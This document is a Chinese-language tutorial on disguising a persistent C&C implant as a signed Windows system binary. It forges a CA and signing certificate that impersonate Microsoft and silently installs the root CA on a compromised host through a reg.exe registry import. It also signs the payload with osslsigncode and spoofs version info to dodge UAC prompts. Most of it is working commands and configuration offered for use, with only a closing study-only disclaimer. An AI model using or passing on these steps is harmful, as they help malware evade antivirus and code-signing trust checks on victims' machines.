尽管在一台Windows机器上植入恶意代码和建立C&C信道的方式有多种,其共同的目标之一是防止payload被检测到,当需要考虑持久性的时候,这一点尤其重要。现在假设这样一个场景:已经获得了目标主机的Shell访问权,为了在机器重启之后C&C信道能够重建,需要在该主机上安装一个程序,尽可能躲过杀毒软件的检测。
较直接的方法是使程序看起来像一个Windows系统二进制文件。而数字签名,就是微软提供的试图阻止这类活动的一个关键机制。签名的程序被认为是更可信的,用户账户控制UAC不会对其发出警告(只是提示),当然,该签名必须是来自受信任CA颁发的数字证书。值得一提的是,一些微软工具只通过commanName参数来决定程序是否可信,这使得植入目标机器的程序的伪装变得容易许多。
因此,如果从数字签名的角度来尝试解决以上场景,有这样两个选择:
- 获得受信任CA颁发的数字证书,用它对程序进行签名
- 自定义CA并安装到目标机器中,用它颁发证书和签名
下面是第二种方案的详细介绍:
一、测试环境
在Linux中安装如下工具(单击可进入下载页面):
二、操作步骤
步骤1. 伪造CA并颁发证书
(1)证书配置
执行以下命令可以仿冒给定程序的签名信息:
[email protected]:~/Desktop/certerator$ python config.py -from in.exe
其中,in.exe为带数字签名的给定程序。该操作可以从给定程序中提取数字签名模块,并将其配置到代码文件certerator.py中。生成的几个中间文件:
- sig.bin 从给定程序抽取的DER格式的签名信息
- sig.asc 上述文件转换成的文本格式的签名信息
- configure 从签名信息中解析出来的所有证书信息
需要说明的是,configure文件中得到了所有证书链的所有证书信息,上述操作只是提取前两个证书信息配置到certerator.py中,可以根据configure文件中的其他证书信息进行手动修改。
在certerator.py代码中的certerator_config()对CA证书进行手动修改:
ca['commonName'] = "Microsoft Root Certificate Authority 2012" # CA机构名称 ca['stateOrProvinceName'] = "Washington" # 洲或省份 ca['localityName'] = "Redmond" # 城市或区域 ca['organizationName'] = "Microsoft Corporation" # 组织名称 ca['organizationalUnitName'] = "Certification Authority" # 组织单位名称 ca['countryName'] = "US" # 国家代码 ca['validfrom'] = "20100101000000Z" # 有效起始日期 ca['validto'] = "20200101000000Z" # 有效终止日期
在certerator.py代码中的certerator_config()对签名证书进行手动修改:
cert['commonName'] = "Microsoft Windows" # 签名人姓名 cert['stateOrProvinceName'] = "Washington" # 洲或省份 cert['localityName'] = "Redmond" # 城市或区域 cert['organizationName'] = "Microsoft Corporation" # 组织名称 cert['organizationalUnitName'] = "Code Security Management" # 组织单位名称 cert['countryName'] = "US" # 国家代码 cert['validfrom'] = "20150101000000Z" # 有效起始日期 cert['validto'] = "20180101000000Z" # 有效终止日期 cert['emailAddress'] = "[email protected]" # 电子邮件
修改完成记得保存文件。
(2)生成证书
执行以下命令生成CA证书和签名证书:
[email protected]:~/Desktop/certerator$ python certerator.py Generating new CA.....done Written PEM CA certificate to ca.pem Written DER CA certificate to ca.cer Written CA private key to ca.key Written CA PKCS12 (private key and certificate) to ca.p12 SHA1 CA Fingerprint: AF:0D:4C:DF:6A:F4:54:CE:93:E3:D5:79:97:35:50:02:E6:2A:28:68 Generating new signing certificate.....done Written CSR certificate request to cert.csr Written PEM certificate to cert.pem Written private key to cert.key Written PKCS12 (private key and certificate) to cert.p12 SHA1 Cert Fingerprint: A5:65:D9:A5:79:85:6E:41:5F:99:3C:96:54:DA:B0:CD:D0:2B:AF:62
如果目录下已经存在CA证书,则会直接加载该证书,而不是重新生成。同理,如果目录下已经存在签名证书,直接跳过。
CA证书相关文件:
- ca.p12 私钥、公钥和证书,二进制文件,通常包含密码保护,本程序设置密码为123456
- ca.pem 证书,ASCII文件
- ca.key 私钥,ASCII文件
- ca.cer 证书,二进制文件
签名证书相关文件:
- cert.p12 私钥、公钥和证书,二进制文件,通常包含密码保护,本程序设置密码为123456
- cert.pem 证书,ASCII文件
- cert.key 私钥,ASCII文件
- cert.csr 证书签名请求,ASCII文件
步骤2. 将CA证书安装到目标机器
- 直接安装
将CA证书ca.cer安装到目标机器的受信任的根证书颁发机构,可双击该文件根据提示进行安装,也可使用证书MMC管理单元certmgr.msc导入,还可以通过命令行实现(需要安装Windows SDK以支持证书管理器工具certmgr.exe):
certmgr.exe -add -c ca.cer -s -r currentuser root
但是,这些方法都只能将证书安装到当前用户证书存储,如果要安装到本地机器证书存储,需要使用Windows管理控制程序mmc.exe将证书管理单元指向本地机器,具体操作为:以管理员身份启动mmc.exe,打开File ->
Add/Remove Snap-ins,选择Certificates,单击Add,在弹出框中选择Computer Account,然后完成后续步骤即可。这样可以得到一个指向本地机器的证书MMC管理单元,这时候导入的证书就会被安装到本地机器证书存储。
- 直接导入注册表
证书安装之后的的实际位置是系统注册表,安装到当前用户证书存储的证书位于:
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\Certificates\
安装到本地机器证书存储的证书位于:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\
具体对应注册表中哪一项由证书的指纹决定,这在第1步骤伪造CA并颁发证书时已经给出(可再次执行该步骤获取):
SHA1 CA Fingerprint: AF:0D:4C:DF:6A:F4:54:CE:93:E3:D5:79:97:35:50:02:E6:2A:28:68 ...
也能借助OpenSSL获取证书的指纹:
[email protected]:~/Desktop/certerator$ openssl x509 -fingerprint -in ca.pem -noout SHA1 Fingerprint=AF:0D:4C:DF:6A:F4:54:CE:93:E3:D5:79:97:35:50:02:E6:2A:28:68
因此考虑先将证书安装到本地机器上,然后打开注册表编辑器regedit.exe,通过证书的指纹定位其对应的项,导出该项到注册表脚本文件(比如test.reg)中,再将该文件导入到目标机器的系统注册表中。这种方法的优点在于不会发出警告或是弹出确认框,和一般的导入注册表没有区别。
需要提醒的是,在本地机器上证书必须安装在本地机器证书存储,这样把注册表的对应项值添加到另一台机器之后,证书才能成功安装。
- 通过命令行导入注册表
如果只能通过命令行访问目标机器,可先借助脚本文件reg2cmd.py
解析刚才导出的注册表文件(需将编码改为utf-8):
[email protected]:~/Desktop/certerator$ python reg2cmd.py < test.reg Command line reg.exe: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\AF0D4CDF6AF454CE93E3D57997355002E62A2868 /v Blob /t REG_BINARY /d 040000000100000010000000c... /f /reg:64
将上述输出作为命令,在目标机器的命令行执行,一样能够成功添加该项到目标机器的注册表中。
步骤3. 使用签名证书对目标程序签名
[email protected]:~/Desktop/certerator$ osslsigncode -certs cert.pem -key cert.key -in in.exe -out out.exe Succeeded
其中,in.exe为目标程序,out.exe为签名后的程序。
完成签名后,将目标程序放到目标机器上运行,此时该程序是被信任的。
三、总结
对程序进行数字签名并不能神奇地实现原来不可能实现的攻击,而只是让程序比原来稍微地难以被检测出来,从而存活得稍微久一些。
该方法期望的是能够使得程序躲过目标系统的粗略监控,因此在伪造CA并颁发证书的过程中,就必须尽可能的模仿Windows系统二进制文件。一般是在certerator.py代码中的certerator_config(),对CA证书和签名证书的设置信息进行精心构造,使得它看起来尽可能真实,这可以参考系统中实际的受信任证书的信息。
修改程序的版本信息Version Info貌似也很有用,借助一些资源编辑工具进行修改,例如Resource Hacker。下面是计算器calc.exe的版本信息:
1 VERSIONINFO FILEVERSION 6,1,7601,17514 PRODUCTVERSION 6,1,7601,17514 FILEOS 0x40004 FILETYPE 0x1 { BLOCK "StringFileInfo" { BLOCK "040904B0" { VALUE "CompanyName", "Microsoft Corporation" VALUE "FileDescription", "Windows Calculator" VALUE "FileVersion", "6.1.7601.17514 (win7sp1_rtm.101119-1850)" VALUE "InternalName", "CALC" VALUE "LegalCopyright", "? Microsoft Corporation. All rights reserved." VALUE "OriginalFilename", "CALC.EXE" VALUE "ProductName", "Microsoft? Windows? Operating System" VALUE "ProductVersion", "6.1.7601.17514" } } BLOCK "VarFileInfo" { VALUE "Translation", 0x0409 0x04B0 } }
四、关于UAC提示
一旦有操作企图修改系统设置或%SystemRoot%和%ProgramFiles%目录下的文件,将会引发UAC提示,这些操作包括:
- 安装或卸载应用程序
- 安装设备驱动
- 安装ActiveX控件
- 安装Windows更新
- 修改防火墙设置
- 修改UAC设置
- 配置Windows更新
- 添加或删除用户
- 修改用户类型
- 运行进程管理器
- 恢复系统备份文件
- 查看或修改其他用户的文件(夹)
- …
只要涉及上述操作,一般都会导致UAC提示,难以理解的是,Windows系统有时候也会仅仅基于程序版本信息中的FileDescription参数做一些奇怪的决断,例如,尽管不涉及上述操作,它会尝试以管理员身份运行它自认为是系统二进制的程序。所以在修改程序版本信息以使得它看起来更像系统二进制文件的时候,如果将FileDescription参数设置得过于严肃,可能也会导致UAC提示。MWR InfoSecurity对一些参数做了测试,结果如下:
FileDescription | UAC |
---|---|
Windows Manager | 提示 |
Windows Defender | 提示 |
Windows Device Driver Cache | 提示 |
Microsoft SmartScreen Indexer | 提示 |
Windows Update Manager | 忽略 |
Windows Update | 忽略 |
Windows Updater | 忽略 |
Adobe Updater | 忽略 |
结束
注:本文仅用作学习交流,请勿非法滥用。